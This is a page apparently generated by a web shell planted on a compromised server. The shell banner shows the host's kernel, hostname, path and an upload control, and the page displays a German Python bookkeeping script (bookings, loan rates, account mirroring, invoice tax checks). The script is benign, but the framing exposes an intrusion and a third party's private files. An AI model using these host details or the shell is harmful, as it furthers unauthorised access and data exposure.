Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /home/ift/52_procpy/konto/base/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : //home/ift/52_procpy/konto/base/tool.py

import os,re,sys,glob,time,konto

from konto.base.konto import Konto


#**************************************************************************

class Tool ():


    def __init__  (self,plan=""):
        self.plan = plan + " "
        if self.plan == " ":
            self.plan = ""

#************************************************************************

    def join (self):

        zeile0 = ""
        for file in sys.stdin:
            file1 = file.strip()
            text = open(file1).read()
        
            text1  = ""
            zeile0 = ""
            for zeile in text.split("\n"):
                zeile = zeile.strip()
                if re.search(r"^\"\d\d\.\d\d\.\d\d\d\d\"",zeile):
                    text1  = text1 + zeile0 + "\n"
                    zeile0 = zeile
                else:
                    zeile0 = zeile0 + zeile
                    
            open(file1+"~","w").write(text)
            open(file1,"w").write(text1)
                

#************************************************************************

    def add (self,zeitpunkt,months):
    
        zeitpunkt  = "%04u" % int(zeitpunkt)
        monate     = int(zeitpunkt[0:2]) * 12 + int(zeitpunkt[2:]) - 1
        monate1    = monate + int(months)
        zeitpunkt1 = ("%02u" % (monate1 / 12)) + ("%02u" % ((monate1 % 12) + 1))
        return(zeitpunkt1)

#************************************************************************

    def book(self,datum,betrag,ktoa,ktob,remark):  #  fuer automatisierte forecasts
    
        ktofile = glob.glob("*.kto.html")[0]
        ktotext = open(ktofile).read()

        try:
            ff = self.factor
        except:
            ff = 1
        
        ust     = ""
        if re.search(r"^[\-\+]+",remark):
            ust    = remark[0:2]
            remark = remark[2:]
        
        ktotext = re.sub(r"\n *\n","\n\n20" + datum + "  " + ("%3.2f" % (float(betrag)*ff)) + "  " + ktoa + "  " + ktob + "  0.00  " + ust + self.plan + remark + "\n",ktotext,1)
        open(ktofile,"w").write(ktotext)

#************************************************************************

    def rate (self):  #  Kreditraten berechnen
    
        ktofile  = glob.glob("*.kto.html")[0]
        ktotext  = open(ktofile).read()
        ktotext1 = ""

        gesamt  = 0.00
        for zeile in ktotext.split("\n"):
            m = re.search('^(\d\d\d\d\d\d\d\d) +(\-?\d+\.\d\d) +(\S+?) +(\S+) +(\-?\d+\.\d\d) +(.*)', zeile)
            if m:
                datum  = m.group(1)
                betrag = float(m.group(2))
                ktoa   = m.group(3)
                ktob   = m.group(4)
                remark = m.group(6)
                m = re.search(r"Kreditrate +([0123456789\,\.]+) *vH",remark)
                if m:
                    zinssatz = re.sub(r",",".",m.group(1))
                    betrag   = gesamt * 0.01 * float(zinssatz)
                    zeile    = datum + "  " + ("%3.2f" % betrag) + "  " + ktoa + "  " + ktob + "  0.00  " + remark
                gesamt = gesamt + betrag
            ktotext1 = ktotext1 + zeile + "\n"

        open(ktofile,"w").write(ktotext1)

#************************************************************************

    def mirror (self):   #  spiegelt ein Konto in eine andere Buchhaltung
    

#        print("DIR",os.path.abspath("."))


        if len(glob.glob("./mirror.sh")) == 0:   #  man ist nicht direkt in einem Spiegelkonto,
            akt_path0 = ""                       #  wir gehen jetzt mal zu dem uebergeordneten 01_...er Konto
            while (0 == 0):
                akt_path = os.path.abspath(".")
                print(akt_path)
                if akt_path == akt_path0:
                    print("01_... directory not found.")
                    return(0)
                akt_path0 = akt_path
                new_path  = glob.glob(akt_path+"/01_*")
                new_path1 = []
                for path_item in new_path:
                    if os.path.isdir(path_item):
                        new_path1.append(path_item)
                if len(new_path1) == 1:
                    os.chdir(new_path1[0])
                    print(new_path1[0])
                    break
                os.chdir("..")

        mirror_dirs = ( glob.glob("*/mirror.sh") + glob.glob("*/*/mirror.sh") +
                        glob.glob("*/*/*/mirror.sh") + glob.glob("*/*/*/*/mirror.sh") +
                        glob.glob("*/*/*/*/*/mirror.sh") + glob.glob("*/*/*/*/*/*/mirror.sh") )
                        
        mirror_dirs.sort()
        mirror_changes = {}
        zaehler = 0
        
        while 0 == 0:
            zaehler = zaehler + 1
            if len(mirror_dirs) > 0:
                print("---------")
                print("ROUND " + str(zaehler) )
                print("---------")
                if zaehler > 1:
                    time.sleep(2)
            changes_done = 0
            for mirror_dir in mirror_dirs:
#                print(mirror_dir)
                orig_dir = os.path.abspath(".")
                os.chdir( re.sub(r"/mirror.sh","",mirror_dir) )
                Konto().kto()
                sign_before = open( (glob.glob("*.kto") + glob.glob("*.kto.html"))[0] ).read()
                self.mirror()
                sign_after  = open( (glob.glob("*.kto")  + glob.glob("*.kto.html"))[0]  ).read()
                if not sign_before == sign_after:
                    changes_done = 1
                os.chdir(orig_dir)
            if changes_done == 0:
                break
                
        if len(mirror_dirs) > 0:
            return()

#        print(os.path.abspath("."))


        ktofile0 = glob.glob("*.kto")  + glob.glob("*.kto.html")
        if len(ktofile0) > 1:
            print("More than one ktofile.")
            print(ktofile0)
            return(0)
        if len(ktofile0) == 0:
            print("No ktofile found.")
            return(0)
        ktofile0 = ktofile0[0]

        ktodir1 = ""
        if os.path.isfile("mirror.sh"):

            ktodir1 = re.sub("\s","",open("mirror.sh").read())
            ktodir1 = re.sub(r"^(.+)[ \=](.*)$","\\2",ktodir1)
            if not os.path.isdir(ktodir1):
                ktodir1 = ""
                
        if ktodir1 == "":   #   jetzt die richtige Verzeichnisstruktur suchen
            akt_path = os.path.abspath(".")
            m = re.search(r"^(.*)[\\\/](\d*\_?)(.*)[\\\/](.*)$",akt_path)
            targetdir = m.group(4) + "/" + m.group(3)
            
            parent0 = ""
            parent  = "."            

            while 0 == 0:

                if len(os.path.abspath(parent)) < 3:
                    break
                if parent0 == parent:
                    break
                if parent == "/home":
                    break
                sublevel = "/"
                while 0 == 0:
                    print(parent + sublevel + "*_" + targetdir)
                    ktodir1 = glob.glob(parent + sublevel + "*_" + targetdir) + glob.glob(parent + sublevel + targetdir)
                    if len(ktodir1) > 0:
                        break
                    sublevel = "/*" + sublevel
                    if len(sublevel) > 15:
                        break
                print("--->",ktodir1)
                if len(ktodir1) == 1:
                    open("mirror.sh","w").write("AN="+ktodir1[0]+"\n")
                    break
                parent0 = parent
                parent  = "../" + parent
#                print(ktofile0,ktodir1)
                        
            if len(ktodir1) == 0:
                print("no mirror found")
                return(1)
        
            ktodir1  = ktodir1[0]
        print("-->",ktodir1)

        ktotext  = [ open(ktofile0).read() ]

        ktofile1 = glob.glob(ktodir1 + "/*.kto")  +  glob.glob(ktodir1 + "/*.kto.html")
#        print("VV",ktofile1)
        if len(ktofile1) > 1:
            print("More than one ktofile in mirror dir " + ktodir1)
            return(0)
        if len(ktofile1) == 1:
            ktofile1 = ktofile1[0]
            ktotext.append( open(ktofile1).read() )
        else:
            ktofile1 = ktodir1 + "/extern.kto.html"

#        print(ktofile1,"<--")

        ktotext1 = ""
        zeilen   = {}
        ukto     = ""
        ukto1    = ""
        
        if len(ktotext) == 2:  #  wenn es ein Zielfile gibt, dieses untersuchen und das Konto heraussuchen
            m     = re.search(r"^(\<PRE\>|)(\S+) +\S\S\S\S\S\S\S\S\S\S\S\S ",ktotext[1].split("\n")[0])
            if not m:
                return(2)
            ukto1 = m.group(2)

        for zeile in ktotext[0].split("\n"):  #  erst das Quellfile aufbereiten
#            print(ukto,zeile)
            m = re.search('^(\d\d\d\d\d\d\d\d) +(\-?\d+\.\d\d) +'+ukto+'\-(\S+?) +(\S+) +(\-?\d+\.\d\d) +(.*)', zeile)
            if not ukto == "" and m:
                zeile1    = m.group(1) + "  " + re.sub(r"--","","-"+m.group(2)) + "  " + ukto1 + "-" + m.group(4) + "  " + m.group(3)
                zeile_key = zeile1
                zeile1    = zeile1 + "  " + re.sub(r"--","","-"+m.group(5)) + "  " + m.group(6)
                zeile_key = re.sub(r" ","",zeile_key+m.group(6),99999999)
#                print(":::",zeile_key)
                zeilen[ zeile_key ] = zeile1  # dessen Zeilen werden in einem Hash gespeichert, dessen Keys die Zeile
                                              # ohne Leerzeichen und Saldofeld sind
            elif ukto == "":
#                print("::::",zeile)
                m = re.search('^(\<PRE\>|)(\S+)\-(\S+) +\S\S\S\S\S\S\S\S\S\S\S\S',zeile)
                if m:
                    ukto  = m.group(2) + "-" + m.group(3)
                else:
                    print("END")
                    return(4)

        if len(ktotext) == 2:  #  Zielfile untersuchen und die passenden Zeilen so lassen
            for zeile in ktotext[1].split("\n"):
#                print(zeile)
                m = re.search('^(\d\d\d\d\d\d\d\d +\-?\d+\.\d\d +\S+? +\S+) +(\-?\d+\.\d\d) +(.*)', zeile)
                if m:
                    zeile_key = re.sub(r" ","",m.group(1)+m.group(3),99999999)
#                    print("-->",zeile_key)
                    if zeile_key in zeilen:   #  Zeile gibt es schon im Zielfile
                        ktotext1 = ktotext1 + zeile + "\n"   # Zeile genau an dieser Stelle auch lassen
                        zeilen[ zeile_key ] = ""             # und aus dem Zeilen-Hash loeschen
                else:
                    ktotext1 = ktotext1 + zeile + "\n"

        for zeile in zeilen.values():  #  die nicht wiedergefundenen Zeilen beim Zielfile unten anhaengen
#            print("ZZZ",zeile)
            if not zeile == "":
                ktotext1 = ktotext1 + zeile + "\n"
                
        open( ktofile1 ,"w").write(ktotext1)

#**************************************************************************

    def analyse (self,*pars):
        
        expenses = pars[0]
        income   = pars[1]
        start    = pars[2]
        end      = pars[3]
        try:
            interval = pars[4]
        except:
            interval = 1
    
    
        gesamt = 0.00
        konto = Konto([])

        konto.startdatum = "20" + start
        konto.enddatum   = "20" + end
        
        exp_konten = konto.format_salden(expenses)
        inc_konten = konto.format_salden(income)
        
        exp_salden = {}
        exp_salden["SUM"] = []
        inc_salden = {}
        inc_salden["SUM"] = []
        gesamt = [0.00]
        for k in exp_konten:
            exp_salden[k[0]] = []
        for k in inc_konten:
            inc_salden[k[0]] = []

        int1 = start
        intervals2 = []
        while (0 == 0):
            
            int2 = self.add(int1,interval-1)
            print(int1,int2)
            if int(int1) > int(end):
                break
            
            intervals2.append(int(int2))
            
            konto.startdatum = "20"+int1
            konto.enddatum   = "20"+int2

            erg = konto.format_salden(expenses)
            for k in erg:
                exp_salden[k[0]].append(-float(k[2]))
            exp_salden["SUM"].append(0.00)
            for k in exp_konten:
                if len(exp_salden[k[0]]) < len(exp_salden["SUM"]):
                    exp_salden[k[0]].append(0.00)
                exp_salden["SUM"][-1] = exp_salden["SUM"][-1] + float(exp_salden[k[0]][-1])

            erg = konto.format_salden(income)
            for k in erg:
                inc_salden[k[0]].append(-float(k[2]))
            inc_salden["SUM"].append(0.00)
            for k in inc_konten:
                if len(inc_salden[k[0]]) < len(inc_salden["SUM"]):
                    inc_salden[k[0]].append(0.00)
                inc_salden["SUM"][-1] = inc_salden["SUM"][-1] + float(inc_salden[k[0]][-1])
                
            gesamt.append( gesamt[-1] + exp_salden["SUM"][-1] + inc_salden["SUM"][-1] )
            
            int1 = self.add(int2,1)

        gesamt.pop(0)

#        for k in exp_konten:
#            print(k[0],exp_salden[k[0]])
#        print(exp_salden["SUM"])
#        for k in inc_konten:
#            print(k[0],inc_salden[k[0]])
#        print(inc_salden["SUM"])
#        print(gesamt)
        
        return(exp_salden,inc_salden,gesamt,intervals2)

#************************************************************************

    def rechnung (self,*pars):   #   stimmt die Umsatzsteuer und die Gesamtsalden in einer Rechnung ab
    

        rechnung_file = pars[0]
        text          = open(rechnung_file).read()
        m             = re.search(r" (\d+) ?\%",text)
        if not m:
            return(0)
        ust  = float(m.group(1))
        print(ust)

        text1   = text
        text0   = ""
        zahlen  = []
        zahlen1 = []
        
        while (0 == 0):
            m = re.search(r"^(.*?right\>|.*?\"\>)(\d\d?\d?\,\d\d|\d\d?\d? \d\d\d\,\d\d|\d\d?\d? \d\d\d \d\d\d\,\d\d|\d+)(\<| EUR\<| KM\<)(.*)$",text1,re.DOTALL)
            if not m:
                break
            betrag = re.sub(r" ","",m.group(2))
            betrag = re.sub(r",",".",betrag)
            betrag = float(betrag)
            text0  = text0 + m.group(1) + m.group(2)
            text1  = m.group(3) + m.group(4)
            zahlen.append(betrag)
            


        mode = 1
        if "Einzelpreis" in text:
            mode = 2
            print(zahlen)


        gesamt = 0.00


        if mode == 1:
            while len(zahlen) > 0:
                if len(zahlen)%3 == 0:
                    betrag = zahlen.pop(0)
                    if len(zahlen) == 2:
                        betrag = gesamt
                    gesamt = gesamt + betrag
                    zahlen1.append(betrag)
                elif len(zahlen)%3 == 2:
                    zahlen.pop(0)
                    zahlen1.append( betrag * (ust/100) )
                elif len(zahlen)%3 == 1:
                    zahlen.pop(0)
                    zahlen1.append( betrag * ((100+ust)/100) )

        if mode == 2:
            while len(zahlen) > 0:
                if len(zahlen)%3 == 0:
                    netto = zahlen.pop(0)
                    print("NETTO",netto)
                    if len(zahlen) == 2:
                        zahlen1.append( gesamt )
                    else:
                        zahlen1.append( netto )
                elif len(zahlen)%3 == 2:
                    mfach = zahlen.pop(0)
                    print("MFACH",mfach)
                    if len(zahlen) == 1:
                        zahlen1.append( gesamt * (ust/100) )
                    else:
                        zahlen1.append( mfach )
                elif len(zahlen)%3 == 1:
                    zahlen.pop(0)
                    if len(zahlen) == 0:
                        zahlen1.append( gesamt * ((100+ust)/100) )
                    else:
                        netto  = netto * mfach
                        gesamt = gesamt + netto
                        zahlen1.append( netto )
                                       
                    
                
#        print(zahlen1)
 
        text1    = text
        text0    = ""
        while (0 == 0):
            m = re.search(r"^(.*?right\>|.*?\"\>)(\d\d?\d?\,\d\d|\d\d?\d? \d\d\d\,\d\d|\d\d?\d? \d\d\d \d\d\d\,\d\d|\d+)(\<| EUR\<| KM\<)(.*)$",text1,re.DOTALL)
            if not m:
                break
            betrag  = "%3.2f" % zahlen1.pop(0)
            betrag  =  re.sub("\.",",",betrag)
            betrag1 = betrag[-6:]
            betrag  = betrag[:-6]
            while not betrag == "":
                betrag1 = betrag[-3:] + " " + betrag1
                betrag  = betrag[:-3]
            if mode == 2 and len(zahlen1) > 1 and len(zahlen1)%3 == 1:
                betrag1 = re.sub(r"0+$","",betrag1)
                betrag1 = re.sub(r",$","",betrag1)
            text0  = text0 + m.group(1) + betrag1
            text1  = m.group(3) + m.group(4)
        text0 = text0 + text1
            
        open(rechnung_file+"~","w").write(text)
        open(rechnung_file,"w").write(text0)

#**************************************************************************


if __name__ == "__main__":
    
    tool = Tool()

#    print(sys.argv)

    Tool.__dict__[sys.argv[1]](tool,*sys.argv[2:])

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net